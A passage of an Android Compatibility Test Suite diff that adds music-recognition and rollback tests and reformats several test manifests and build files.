+        public int failureCode = 0;
+        public byte[] stream;
+        public MediaMetadata result;
+        public Bundle resultExtras;
+
+        public void awaitOnDestroy() {
+            await(destroyed, "Waiting for service destroyed");
+        }
+
+        private void await(@NonNull CountDownLatch latch, @NonNull String message) {
+            try {
+                assertWithMessage(message).that(
+                        latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+                throw new IllegalStateException("Interrupted while: " + message);
+            }
+        }
+    }
+}
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
new file mode 100644
index 0000000..9a9ed7b
--- /dev/null
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
@@ -0,0 +1,277 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.musicrecognition.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyString;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaMetadata;
+import android.media.MediaRecorder;
+import android.media.musicrecognition.MusicRecognitionManager;
+import android.media.musicrecognition.RecognitionRequest;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.Process;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.RequiredServiceRule;
+
+import com.google.common.util.concurrent.MoreExecutors;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Captor;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+/**
+ * Tests for {@link MusicRecognitionManager}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class MusicRecognitionManagerTest {
+    private static final String TAG = MusicRecognitionManagerTest.class.getSimpleName();
+    private static final long VERIFY_TIMEOUT_MS = 40_000;
+    private static final long VERIFY_APPOP_CHANGE_TIMEOUT_MS = 2000;
+
+    @Rule public TestName mTestName = new TestName();
+    @Rule
+    public final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.MUSIC_RECOGNITION_SERVICE);
+
+    private MusicRecognitionManager mManager;
+    private CtsMusicRecognitionService.Watcher mWatcher;
+    @Mock MusicRecognitionManager.RecognitionCallback mCallback;
+    @Captor ArgumentCaptor<Bundle> mBundleCaptor;
+
+    @Before
+    public void setUp() {
+        MockitoAnnotations.initMocks(this);
+        // Grant permission to call the api.
+        escalateTestPermissions();
+
+        mManager = getContext().getSystemService(MusicRecognitionManager.class);
+        mWatcher = CtsMusicRecognitionService.setWatcher();
+        // Tell MusicRecognitionManagerService to use our no-op service instead.
+        setService(CtsMusicRecognitionService.SERVICE_COMPONENT.flattenToString());
+    }
+
+    @After
+    public void tearDown() {
+        resetService();
+        mWatcher = null;
+        CtsMusicRecognitionService.clearWatcher();
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testOnRecognitionFailed() throws Exception {
+        mWatcher.failureCode = MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY;
+
+        invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+                eq(MusicRecognitionManager.RECOGNITION_FAILED_NO_CONNECTIVITY));
+        verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+    }
+
+    @Test
+    public void testOnRecognitionSucceeded() throws Exception {
+        mWatcher.result = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_ARTIST, "artist")
+                .putString(MediaMetadata.METADATA_KEY_TITLE, "title")
+                .build();
+
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+                eq(mWatcher.result), eq(null));
+        verify(mCallback, never()).onRecognitionFailed(any(), anyInt());
+        // 8 seconds minus 16k frames dropped from the beginning.
+        assertThat(mWatcher.stream).hasLength(256_000 - 32_000);
+    }
+
+    @Test
+    public void testRemovesBindersFromBundle() throws Exception {
+        ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+        mWatcher.result = new MediaMetadata.Builder().build();
+        mWatcher.resultExtras = new Bundle();
+        mWatcher.resultExtras.putString("stringKey", "stringValue");
+        mWatcher.resultExtras.putBinder("binderKey", new Binder());
+        mWatcher.resultExtras.putParcelable("fdKey", pipe[0]);
+
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onAudioStreamClosed();
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionSucceeded(eq(request),
+                eq(mWatcher.result), mBundleCaptor.capture());
+
+        assertThat(mBundleCaptor.getValue().getString("stringKey")).isEqualTo("stringValue");
+        // Binder and file descriptor removed.
+        assertThat(mBundleCaptor.getValue().size()).isEqualTo(1);
+
+        pipe[0].close();
+        pipe[1].close();
+    }
+
+    /**
+     * Verifies the shell override is only allowed when the caller of the api is also the owner of
+     * the override service.
+     */
+    @Test
+    public void testDoesntBindToForeignService() {
+        setService(
+                "android.musicrecognition.cts2/android.musicrecognition.cts2"
+                        + ".OutsideOfPackageService");
+
+        invokeMusicRecognitionApi();
+
+        verify(mCallback, timeout(VERIFY_TIMEOUT_MS)).onRecognitionFailed(any(),
+                eq(MusicRecognitionManager.RECOGNITION_FAILED_SERVICE_UNAVAILABLE));
+        verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
+    }
+
+    @Test
+    public void testRecordAudioOpsAreTracked() {
+        mWatcher.result = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_ARTIST, "artist")
+                .putString(MediaMetadata.METADATA_KEY_TITLE, "title")
+                .build();
+
+        final String packageName = CtsMusicRecognitionService.SERVICE_PACKAGE;
+        final int uid = Process.myUid();
+
+        final AppOpsManager appOpsManager = getInstrumentation().getContext()
+                .getSystemService(AppOpsManager.class);
+        final AppOpsManager.OnOpActiveChangedListener listener = mock(
+                AppOpsManager.OnOpActiveChangedListener.class);
+        // Assert the app op is not started
+        assertFalse(appOpsManager.isOpActive(AppOpsManager.OPSTR_RECORD_AUDIO, uid, packageName));
+
+        // Start watching for record audio op
+        appOpsManager.startWatchingActive(new String[] { AppOpsManager.OPSTR_RECORD_AUDIO },
+                getInstrumentation().getContext().getMainExecutor(), listener);
+
+        // Invoke API
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        // The app op should start
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS)
+                .only()).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                eq(uid), eq(packageName), eq(true));
+
+        // Wait for streaming to finish.
+        reset(listener);
+        try {
+            Thread.sleep(10000);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+
+        // The app op should finish
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS)
+                .only()).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                eq(uid), eq(packageName), eq(false));
+
+
+        // Start with a clean slate
+        reset(listener);
+
+        // Stop watching for app op
+        appOpsManager.stopWatchingActive(listener);
+
+        // No other callbacks expected
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS).times(0))
+                .onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                        anyInt(), anyString(), anyBoolean());
+    }
+
+
+    private RecognitionRequest invokeMusicRecognitionApi() {
+        AudioRecord record = new AudioRecord(MediaRecorder.AudioSource.MIC, 16_000,
+                AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, 256_000);
+
+        RecognitionRequest request = new RecognitionRequest.Builder()
+                .setAudioAttributes(new AudioAttributes.Builder()
+                        .setInternalCapturePreset(MediaRecorder.AudioSource.MIC)
+                        .build())
+                .setAudioFormat(record.getFormat())
+                .setCaptureSession(record.getAudioSessionId())
+                .setMaxAudioLengthSeconds(8)
+                // Drop the first second of audio.
+                .setIgnoreBeginningFrames(16_000)
+                .build();
+        mManager.beginStreamingSearch(
+                request,
+                MoreExecutors.directExecutor(),
+                mCallback);
+        return request;
+    }
+
+    /**
+     * Sets the music recognition service.
+     */
+    private static void setService(@NonNull String service) {
+        Log.d(TAG, "Setting music recognition service to " + service);
+        int userId = android.os.Process.myUserHandle().getIdentifier();
+        runShellCommand(
+                "cmd music_recognition set temporary-service %d %s 60000", userId, service);
+    }
+
+    private static void resetService() {
+        Log.d(TAG, "Resetting music recognition service");
+        int userId = android.os.Process.myUserHandle().getIdentifier();
+        runShellCommand("cmd music_recognition set temporary-service %d", userId);
+    }
+
+    private static void escalateTestPermissions() {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                "android.permission.MANAGE_MUSIC_RECOGNITION");
+    }
+}
diff --git a/tests/netlegacy22.permission/Android.bp b/tests/netlegacy22.permission/Android.bp
index 86c17ae..65948a6 100644
--- a/tests/netlegacy22.permission/Android.bp
+++ b/tests/netlegacy22.permission/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetTestCasesLegacyPermission22",
     defaults: ["cts_defaults"],
diff --git a/tests/netlegacy22.permission/AndroidManifest.xml b/tests/netlegacy22.permission/AndroidManifest.xml
index 14c40e5..85979c9 100644
--- a/tests/netlegacy22.permission/AndroidManifest.xml
+++ b/tests/netlegacy22.permission/AndroidManifest.xml
@@ -16,14 +16,15 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.netlegacy22.permission.cts">
+     package="android.netlegacy22.permission.cts">
 
-    <uses-permission android:name="android.permission.INJECT_EVENTS" />
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.INJECT_EVENTS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.permission.cts.PermissionStubActivity"
-                  android:label="PermissionStubActivity">
+             android:label="PermissionStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -32,21 +33,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.netlegacy22.permission.cts"
-                     android:label="CTS tests of legacy android.net permissions as of API 22">
+         android:targetPackage="android.netlegacy22.permission.cts"
+         android:label="CTS tests of legacy android.net permissions as of API 22">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/netlegacy22.permission/TEST_MAPPING b/tests/netlegacy22.permission/TEST_MAPPING
new file mode 100644
index 0000000..1486eca
--- /dev/null
+++ b/tests/netlegacy22.permission/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetTestCasesLegacyPermission22"
+    }
+  ]
+}
diff --git a/tests/netsecpolicy/Android.bp b/tests/netsecpolicy/Android.bp
index 42279f9..b54debb 100644
--- a/tests/netsecpolicy/Android.bp
+++ b/tests/netsecpolicy/Android.bp
@@ -11,10 +11,6 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficFalse",
     defaults: ["cts_support_defaults"],
diff --git a/tests/openglperf2/AndroidManifest.xml b/tests/openglperf2/AndroidManifest.xml
index f23e411..5e7d0c1 100644
--- a/tests/openglperf2/AndroidManifest.xml
+++ b/tests/openglperf2/AndroidManifest.xml
@@ -1,53 +1,50 @@
 <?xml version="1.0" encoding="utf-8"?>
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.opengl2.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="android.opengl2.cts"
+     android:versionCode="1"
+     android:versionName="1.0">
 
-    <uses-sdk
-        android:minSdkVersion="16"
-        android:targetSdkVersion="17" />
+    <uses-sdk android:minSdkVersion="16"
+         android:targetSdkVersion="17"/>
 
-    <uses-feature
-        android:glEsVersion="0x00020000"
-        android:required="true" />
+    <uses-feature android:glEsVersion="0x00020000"
+         android:required="true"/>
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <application android:allowBackup="false" >
-        <uses-library android:name="android.test.runner" />
+    <application android:allowBackup="false">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name=".primitive.GLPrimitiveActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
+        <activity android:name=".primitive.GLPrimitiveActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".reference.GLReferenceActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
+        <activity android:name=".reference.GLReferenceActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".reference.GLGameActivity"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-            android:theme="@android:style/Theme.NoTitleBar.Fullscreen" >
+        <activity android:name=".reference.GLGameActivity"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen">
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="OpenGL ES Benchmark"
-        android:targetPackage="android.opengl2.cts" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="OpenGL ES Benchmark"
+         android:targetPackage="android.opengl2.cts"/>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/openglperf2/jni/Android.bp b/tests/openglperf2/jni/Android.bp
index bc4ef5e..e6a3a9a 100644
--- a/tests/openglperf2/jni/Android.bp
+++ b/tests/openglperf2/jni/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libctsopengl_jni",
 
diff --git a/tests/pdf/Android.bp b/tests/pdf/Android.bp
index 8499f71..66f91d5 100644
--- a/tests/pdf/Android.bp
+++ b/tests/pdf/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPdfTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/providerui/Android.bp b/tests/providerui/Android.bp
index 4556ca8..edc4bd0 100644
--- a/tests/providerui/Android.bp
+++ b/tests/providerui/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsProviderUiTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/quickaccesswallet/Android.bp b/tests/quickaccesswallet/Android.bp
index 14c79f3..1572e69 100644
--- a/tests/quickaccesswallet/Android.bp
+++ b/tests/quickaccesswallet/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsQuickAccessWalletTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/quickaccesswallet/AndroidManifest.xml b/tests/quickaccesswallet/AndroidManifest.xml
index 4b6a994..e7a1df5 100755
--- a/tests/quickaccesswallet/AndroidManifest.xml
+++ b/tests/quickaccesswallet/AndroidManifest.xml
@@ -16,78 +16,76 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.quickaccesswallet.cts"
-          android:targetSandboxVersion="2">
+     package="android.quickaccesswallet.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <!-- Required for HostApduService -->
     <uses-permission android:name="android.permission.NFC"/>
     <!-- Required to test QuickAccessWalletClient feature availability -->
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.quickaccesswallet.QuickAccessWalletActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.quickaccesswallet.QuickAccessWalletActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.quickaccesswallet.QuickAccessWalletSettingsActivity">
+        <activity android:name="android.quickaccesswallet.QuickAccessWalletSettingsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quickaccesswallet.action.VIEW_WALLET_SETTINGS" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.service.quickaccesswallet.action.VIEW_WALLET_SETTINGS"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name="android.quickaccesswallet.TestHostApduService"
-            android:exported="true"
-            android:permission="android.permission.BIND_NFC_SERVICE"
-            android:label="@string/app_name">
+        <service android:name="android.quickaccesswallet.TestHostApduService"
+             android:exported="true"
+             android:permission="android.permission.BIND_NFC_SERVICE"
+             android:label="@string/app_name">
             <intent-filter>
                 <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
-            <meta-data
-                android:name="android.nfc.cardemulation.host_apdu_service"
-                android:resource="@xml/hce_aids"/>
+            <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+                 android:resource="@xml/hce_aids"/>
         </service>
 
-        <service
-            android:name="android.quickaccesswallet.TestQuickAccessWalletService"
-            android:enabled="true"
-            android:label="@string/app_name"
-            android:icon="@drawable/android"
-            android:permission="android.permission.BIND_QUICK_ACCESS_WALLET_SERVICE">
+        <service android:name="android.quickaccesswallet.TestQuickAccessWalletService"
+             android:enabled="true"
+             android:label="@string/app_name"
+             android:icon="@drawable/android"
+             android:permission="android.permission.BIND_QUICK_ACCESS_WALLET_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService" />
+                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <meta-data android:name="android.quickaccesswallet"
-                       android:resource="@xml/quickaccesswallet_configuration" />;
+                 android:resource="@xml/quickaccesswallet_configuration"/>;
         </service>
 
-        <service
-            android:name="android.quickaccesswallet.NoPermissionQuickAccessWalletService"
-            android:enabled="false"
-            android:label="@string/app_name"
-            android:icon="@drawable/android">
+        <service android:name="android.quickaccesswallet.NoPermissionQuickAccessWalletService"
+             android:enabled="false"
+             android:label="@string/app_name"
+             android:icon="@drawable/android"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService" />
+                <action android:name="android.service.quickaccesswallet.QuickAccessWalletService"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <meta-data android:name="android.quickaccesswallet"
-                       android:resource="@xml/quickaccesswallet_configuration" />;
+                 android:resource="@xml/quickaccesswallet_configuration"/>;
         </service>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="Quick Access Wallet tests"
-        android:targetPackage="android.quickaccesswallet.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Quick Access Wallet tests"
+         android:targetPackage="android.quickaccesswallet.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/rollback/Android.bp b/tests/rollback/Android.bp
index 63e33c9..3b3e617 100644
--- a/tests/rollback/Android.bp
+++ b/tests/rollback/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsRollbackManagerTestCases",
     srcs: ["src/**/*.java"],
diff --git a/tests/rollback/AndroidManifest.xml b/tests/rollback/AndroidManifest.xml
index 3203f25..4ea3ee7 100644
--- a/tests/rollback/AndroidManifest.xml
+++ b/tests/rollback/AndroidManifest.xml
@@ -19,8 +19,6 @@
           package="com.android.cts.rollback" >
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
index b6844de..af23ff5 100644
--- a/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
+++ b/tests/rollback/src/com/android/cts/rollback/RollbackManagerTest.java
@@ -23,6 +23,7 @@
 
 import android.Manifest;
 import android.content.rollback.RollbackInfo;
+import android.provider.DeviceConfig;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -57,7 +58,9 @@
                 .adoptShellPermissionIdentity(
                     Manifest.permission.INSTALL_PACKAGES,
                     Manifest.permission.DELETE_PACKAGES,
-                    Manifest.permission.TEST_MANAGE_ROLLBACKS);
+                    Manifest.permission.TEST_MANAGE_ROLLBACKS,
+                    Manifest.permission.READ_DEVICE_CONFIG,
+                    Manifest.permission.WRITE_DEVICE_CONFIG);
 
         Uninstall.packages(TestApp.A);
     }
@@ -129,4 +132,53 @@
             InstallUtils.getPackageInstaller().abandonSession(sessionId);
         }
     }
+
+    /**
+     * Test that flags are cleared when a rollback is committed.
+     */
+    @Test
+    public void testRollbackClearsFlags() throws Exception {
+        Install.single(TestApp.A1).commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        RollbackUtils.waitForRollbackGone(
+                () -> getRollbackManager().getAvailableRollbacks(), TestApp.A);
+
+        Install.single(TestApp.A2).setEnableRollback().commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
+
+        DeviceConfig.setProperty("configuration", "namespace_to_package_mapping",
+                "testspace:" + TestApp.A, false);
+        DeviceConfig.setProperty("testspace", "flagname", "hello", false);
+        DeviceConfig.setProperty("testspace", "another", "12345", false);
+        assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(2);
+
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+
+        assertThat(DeviceConfig.getProperties("testspace").getKeyset()).hasSize(0);
+    }
+
+    /**
+     * Tests an app can be rolled back to the previous signing key.
+     *
+     * <p>The rollback capability in the signing lineage allows an app to be updated to an APK
+     * signed with a previous signing key in the lineage; however this often defeats the purpose
+     * of key rotation as a compromised key could then be used to roll an app back to the previous
+     * key. To avoid requiring the rollback capability to support APK rollbacks the PackageManager
+     * allows an app to be rolled back to the previous signing key if the rollback install reason
+     * is set.
+     */
+    @Test
+    public void testRollbackAfterKeyRotation() throws Exception {
+        Install.single(TestApp.AOriginal1).commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+
+        Install.single(TestApp.ARotated2).setEnableRollback().commit();
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+
+        RollbackInfo available = RollbackUtils.waitForAvailableRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.ARotated2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+    }
 }
diff --git a/tests/sample/Android.bp b/tests/sample/Android.bp
index bb4eaa2..d2c02da 100644
--- a/tests/sample/Android.bp
+++ b/tests/sample/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsSampleDeviceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/sample/AndroidManifest.xml b/tests/sample/AndroidManifest.xml
index adeb050..decd1bc 100755
--- a/tests/sample/AndroidManifest.xml
+++ b/tests/sample/AndroidManifest.xml
@@ -16,25 +16,24 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sample.cts"
-    android:targetSandboxVersion="2">
+     package="android.sample.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.sample.SampleDeviceActivity" >
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name="android.sample.SampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS sample tests"
-        android:targetPackage="android.sample.cts" >
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS sample tests"
+         android:targetPackage="android.sample.cts">
     </instrumentation>
 </manifest>
-
diff --git a/tests/searchui/Android.bp b/tests/searchui/Android.bp
new file mode 100644
index 0000000..d06550f
--- /dev/null
+++ b/tests/searchui/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
